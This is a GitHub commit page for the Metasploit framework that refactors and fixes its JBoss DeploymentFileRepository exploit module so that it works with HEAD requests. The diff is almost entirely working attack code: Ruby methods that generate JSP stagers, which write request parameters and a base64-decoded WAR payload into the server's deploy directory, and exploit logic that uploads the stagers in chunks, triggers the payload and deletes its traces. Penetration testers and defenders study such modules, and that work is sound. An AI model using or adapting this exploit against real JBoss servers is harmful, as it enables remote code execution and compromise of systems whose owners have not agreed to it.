Skip to content

Commit 283e830

Browse files
author
Vincent Herbulot
committed
Fix problem with HEAD requests
Split lib/msf/http/jboss/script into lib/msf/http/jboss/deployment_file_repository_scripts.rb and lib/msf/http/jboss/bean_shell_scripts.rb as
1 parent abdd72e commit 283e830

File tree

4 files changed

+98
-59
lines changed

4 files changed

+98
-59
lines changed

lib/msf/http/jboss.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,15 +5,17 @@ module Msf
55
module HTTP
66
module JBoss
77
require 'msf/http/jboss/base'
8-
require 'msf/http/jboss/scripts'
98
require 'msf/http/jboss/bean_shell'
9+
require 'msf/http/jboss/bean_shell_scripts'
1010
require 'msf/http/jboss/deployment_file_repository'
11+
require 'msf/http/jboss/deployment_file_repository_scripts'
1112

1213
include Msf::Exploit::Remote::HttpClient
1314
include Msf::HTTP::JBoss::Base
14-
include Msf::HTTP::JBoss::Scripts
1515
include Msf::HTTP::JBoss::BeanShell
16+
include Msf::HTTP::JBoss::BeanShellScripts
1617
include Msf::HTTP::JBoss::DeploymentFileRepository
18+
include Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
1719

1820
def initialize(info = {})
1921
super

lib/msf/http/jboss/scripts.rb renamed to lib/msf/http/jboss/bean_shell_scripts.rb

Lines changed: 1 addition & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
# -*- coding: binary -*-
22

3-
module Msf::HTTP::JBoss::Scripts
3+
module Msf::HTTP::JBoss::BeanShellScripts
44

55
# Generates a Bean Shell Script.
66
#
@@ -19,43 +19,6 @@ def generate_bsh(type, opts ={})
1919
bean_shell
2020
end
2121

22-
# Generate a stager JSP to write the second stager to the
23-
# deploy/management direcotry. It is only used with HEAD/GET requests
24-
# to overcome the size limit in those requests
25-
#
26-
# @param stager_base [String] The name of the base of the stager.
27-
# @param stager_jsp [String] The name name of the jsp stager.
28-
# @return [String] The JSP head stager.
29-
def head_stager_jsp(stager_base, stager_jsp)
30-
content_var = rand_text_alpha(8+rand(8))
31-
file_path_var = rand_text_alpha(8+rand(8))
32-
jboss_home_var = rand_text_alpha(8+rand(8))
33-
fos_var = rand_text_alpha(8+rand(8))
34-
bw_var = rand_text_alpha(8+rand(8))
35-
head_stager_jsp_code = <<-EOT
36-
<%@page import="java.io.*,
37-
java.util.*"
38-
%>
39-
<%
40-
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
41-
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp}" + ".jsp";
42-
if (request.getParameter("#{content_var}") != null) {
43-
try {
44-
String parameterName = (String)(request.getParameterNames().nextElement());
45-
#{content_var} = request.getParameter(parameterName);
46-
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
47-
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
48-
#{bw_var}.write(#{content_var});
49-
#{bw_var}.close();
50-
}
51-
catch(Exception e) { }
52-
}
53-
%>
54-
EOT
55-
56-
head_stager_jsp
57-
end
58-
5922
# Generate a stager JSP to write a WAR file to the deploy/ directory.
6023
# This is used to bypass the size limit for GET/HEAD requests.
6124
#
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
4+
5+
# Generate a stager JSP to write the second stager to the
6+
# deploy/management direcotry. It is only used with HEAD/GET requests
7+
# to overcome the size limit in those requests
8+
#
9+
# @param stager_base [String] The name of the base of the stager.
10+
# @param stager_jsp [String] The name name of the jsp stager.
11+
# @return [String] The JSP head stager.
12+
def head_stager_jsp(stager_base, stager_jsp_name)
13+
content_var = rand_text_alpha(8+rand(8))
14+
file_path_var = rand_text_alpha(8+rand(8))
15+
jboss_home_var = rand_text_alpha(8+rand(8))
16+
fos_var = rand_text_alpha(8+rand(8))
17+
bw_var = rand_text_alpha(8+rand(8))
18+
head_stager_jsp_code = <<-EOT
19+
<%@page import="java.io.*,
20+
java.util.*"
21+
%>
22+
<%
23+
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
24+
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp_name}" + ".jsp";
25+
try {
26+
String #{content_var} = "";
27+
String parameterName = (String)(request.getParameterNames().nextElement());
28+
#{content_var} = request.getParameter(parameterName);
29+
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
30+
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
31+
#{bw_var}.write(#{content_var});
32+
#{bw_var}.close();
33+
}
34+
catch(Exception e) { }
35+
%>
36+
EOT
37+
head_stager_jsp_code
38+
end
39+
40+
# Generate a stager JSP to write a WAR file to the deploy/ directory.
41+
# This is used to bypass the size limit for GET/HEAD requests.
42+
#
43+
# @param app_base [String] The name of the WAR app to write.
44+
# @return [String] The JSP stager.
45+
def stager_jsp(app_base, encoded_payload)
46+
decoded_var = Rex::Text.rand_text_alpha(8+rand(8))
47+
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
48+
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
49+
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
50+
content_var = Rex::Text.rand_text_alpha(8+rand(8))
51+
52+
stager_jsp = <<-EOT
53+
<%@page import="java.io.*,
54+
java.util.*,
55+
sun.misc.BASE64Decoder"
56+
%>
57+
<%
58+
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
59+
String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war";
60+
try {
61+
String #{content_var} = "#{encoded_payload}";
62+
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
63+
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
64+
#{fos_var}.write(#{decoded_var});
65+
#{fos_var}.close();
66+
}
67+
catch(Exception e){ }
68+
%>
69+
EOT
70+
71+
stager_jsp
72+
end
73+
74+
75+
76+
end

modules/exploits/multi/http/jboss_deploymentfilerepository.rb

Lines changed: 17 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -84,12 +84,12 @@ def exploit
8484
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
8585
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
8686
stager_base = rand_text_alpha(8+rand(8))
87-
stager_jsp = rand_text_alpha(8+rand(8))
87+
stager_jsp_name = rand_text_alpha(8+rand(8))
8888

8989
p = payload
9090
mytarget = target
9191

92-
if (datastore['VERB'] == 'HEAD')
92+
if (http_verb == 'HEAD')
9393
print_status("Unable to automatically select a target with HEAD requests")
9494
else
9595
if (target.name =~ /Automatic/)
@@ -120,27 +120,25 @@ def exploit
120120
}).to_s
121121

122122
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
123-
124-
123+
stager_contents = stager_jsp(app_base, encoded_payload)
125124
# Depending on the type on the verb we might use a second stager
126-
if datastore['VERB'] == "POST" then
125+
if http_verb == "POST" then
127126
print_status("Deploying stager for the WAR file")
128-
stager_contents = stager_jsp(app_base)
129-
res = upload_file(stager_base, stager_jsp, stager_contents)
127+
res = upload_file(stager_base, stager_jsp_name, stager_contents)
130128
else
131129
print_status("Deploying minimal stager to upload the payload")
132130
head_stager_jsp_name = rand_text_alpha(8+rand(8))
133-
head_stager_contents = head_stager_jsp(stager_base, stager_jsp)
134-
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?"
131+
head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
132+
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp?"
135133
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
136134

137135
# We split the stager_jsp_code in multipe junks and transfer on the
138136
# target with multiple requests
139137
current_pos = 0
140-
while current_pos < stager_jsp_code.length
138+
while current_pos < stager_contents.length
141139
next_pos = current_pos + 5000 + rand(100)
142-
junk = "#{content_var}=" + Rex::Text.uri_encode(stager_jsp_code[current_pos,next_pos])
143-
print_status("Uploading second stager (#{current_pos}/#{stager_jsp_code.length})")
140+
junk = "arg0=" + Rex::Text.uri_encode(stager_contents[current_pos,next_pos])
141+
print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")
144142
res = deploy('uri' => head_stager_uri + junk)
145143
current_pos += next_pos
146144
end
@@ -152,11 +150,9 @@ def exploit
152150
# but the file still gets written.
153151
if (res.code == 200 || res.code == 500)
154152
print_status("Calling stager to deploy the payload warfile (might take some time)")
155-
stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp'
156-
payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
153+
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
157154
stager_res = deploy('uri' => stager_uri,
158-
'data' => payload_data,
159-
'method' => http_verb)
155+
'method' => 'GET')
160156

161157
print_status("Try to call the deployed payload")
162158
# Try to execute the payload by calling the deployed WAR file
@@ -169,10 +165,12 @@ def exploit
169165
# The WAR can only be removed by physically deleting it, otherwise it
170166
# will get redeployed after a server restart.
171167
print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
172-
print_status("This might take some time, be patient...") if datastore['VERB'] == "HEAD"
168+
print_status("This might take some time, be patient...") if http_verb == "HEAD"
173169
delete_res = []
174-
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp, '.jsp')
175-
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp, '.jsp')
170+
if head_stager_jsp_name
171+
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp_name, '.jsp')
172+
end
173+
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp_name, '.jsp')
176174
delete_res << delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '')
177175
delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '')
178176
delete_res.each do |res|

0 commit comments

Comments
 (0)